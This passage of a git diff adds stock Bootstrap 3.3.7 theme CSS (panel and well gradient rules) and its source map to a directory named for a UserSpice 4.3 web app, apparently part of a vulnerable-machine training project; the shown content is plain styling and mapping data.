progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); + background-repeat: repeat-x; +} +.panel-warning > .panel-heading { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); + background-repeat: repeat-x; +} +.panel-danger > .panel-heading { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); + background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); + background-repeat: repeat-x; +} +.well { + background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; + border-color: #dcdcdc; + -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); +} +/*# sourceMappingURL=bootstrap-theme.css.map */ diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css.map b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css.map new file mode 100644 index 000000000..d876f60fb --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["bootstrap-theme.css","less/theme.less","less/mixins/vendor-prefixes.less","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":"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","file":"bootstrap-theme.css","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.btn-default:active,\n.btn-primary:active,\n.btn-success:active,\n.btn-info:active,\n.btn-warning:active,\n.btn-danger:active,\n.btn-default.active,\n.btn-primary.active,\n.btn-success.active,\n.btn-info.active,\n.btn-warning.active,\n.btn-danger.active {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-default.disabled,\n.btn-primary.disabled,\n.btn-success.disabled,\n.btn-info.disabled,\n.btn-warning.disabled,\n.btn-danger.disabled,\n.btn-default[disabled],\n.btn-primary[disabled],\n.btn-success[disabled],\n.btn-info[disabled],\n.btn-warning[disabled],\n.btn-danger[disabled],\nfieldset[disabled] .btn-default,\nfieldset[disabled] .btn-primary,\nfieldset[disabled] .btn-success,\nfieldset[disabled] .btn-info,\nfieldset[disabled] .btn-warning,\nfieldset[disabled] .btn-danger {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-default .badge,\n.btn-primary .badge,\n.btn-success .badge,\n.btn-info .badge,\n.btn-warning .badge,\n.btn-danger .badge {\n text-shadow: none;\n}\n.btn:active,\n.btn.active {\n background-image: none;\n}\n.btn-default {\n background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #dbdbdb;\n text-shadow: 0 1px 0 #fff;\n border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus {\n background-color: #e0e0e0;\n background-position: 0 -15px;\n}\n.btn-default:active,\n.btn-default.active {\n background-color: #e0e0e0;\n border-color: #dbdbdb;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n background-color: #e0e0e0;\n background-image: none;\n}\n.btn-primary {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #245580;\n}\n.btn-primary:hover,\n.btn-primary:focus {\n background-color: #265a88;\n background-position: 0 -15px;\n}\n.btn-primary:active,\n.btn-primary.active {\n background-color: #265a88;\n border-color: #245580;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n background-color: #265a88;\n background-image: none;\n}\n.btn-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #3e8f3e;\n}\n.btn-success:hover,\n.btn-success:focus {\n background-color: #419641;\n background-position: 0 -15px;\n}\n.btn-success:active,\n.btn-success.active {\n background-color: #419641;\n border-color: #3e8f3e;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n background-color: #419641;\n background-image: none;\n}\n.btn-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n background-color: #2aabd2;\n background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n background-color: #2aabd2;\n border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n background-color: #2aabd2;\n background-image: none;\n}\n.btn-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n background-color: #eb9316;\n background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n background-color: #eb9316;\n border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n background-color: #eb9316;\n background-image: none;\n}\n.btn-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n background-color: #c12e2a;\n background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n background-color: #c12e2a;\n border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #c12e2a;\n background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n background-color: #e8e8e8;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n background-color: #2e6da4;\n}\n.navbar-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25);\n}\n.navbar-inverse {\n background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n@media (max-width: 767px) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n }\n}\n.alert {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.alert-success {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n border-color: #b2dba1;\n}\n.alert-info {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n border-color: #9acfea;\n}\n.alert-warning {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n border-color: #f5e79e;\n}\n.alert-danger {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n border-color: #dca7a7;\n}\n.progress {\n background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n}\n.progress-bar {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n}\n.progress-bar-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n}\n.progress-bar-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n}\n.progress-bar-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n}\n.progress-bar-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n}\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 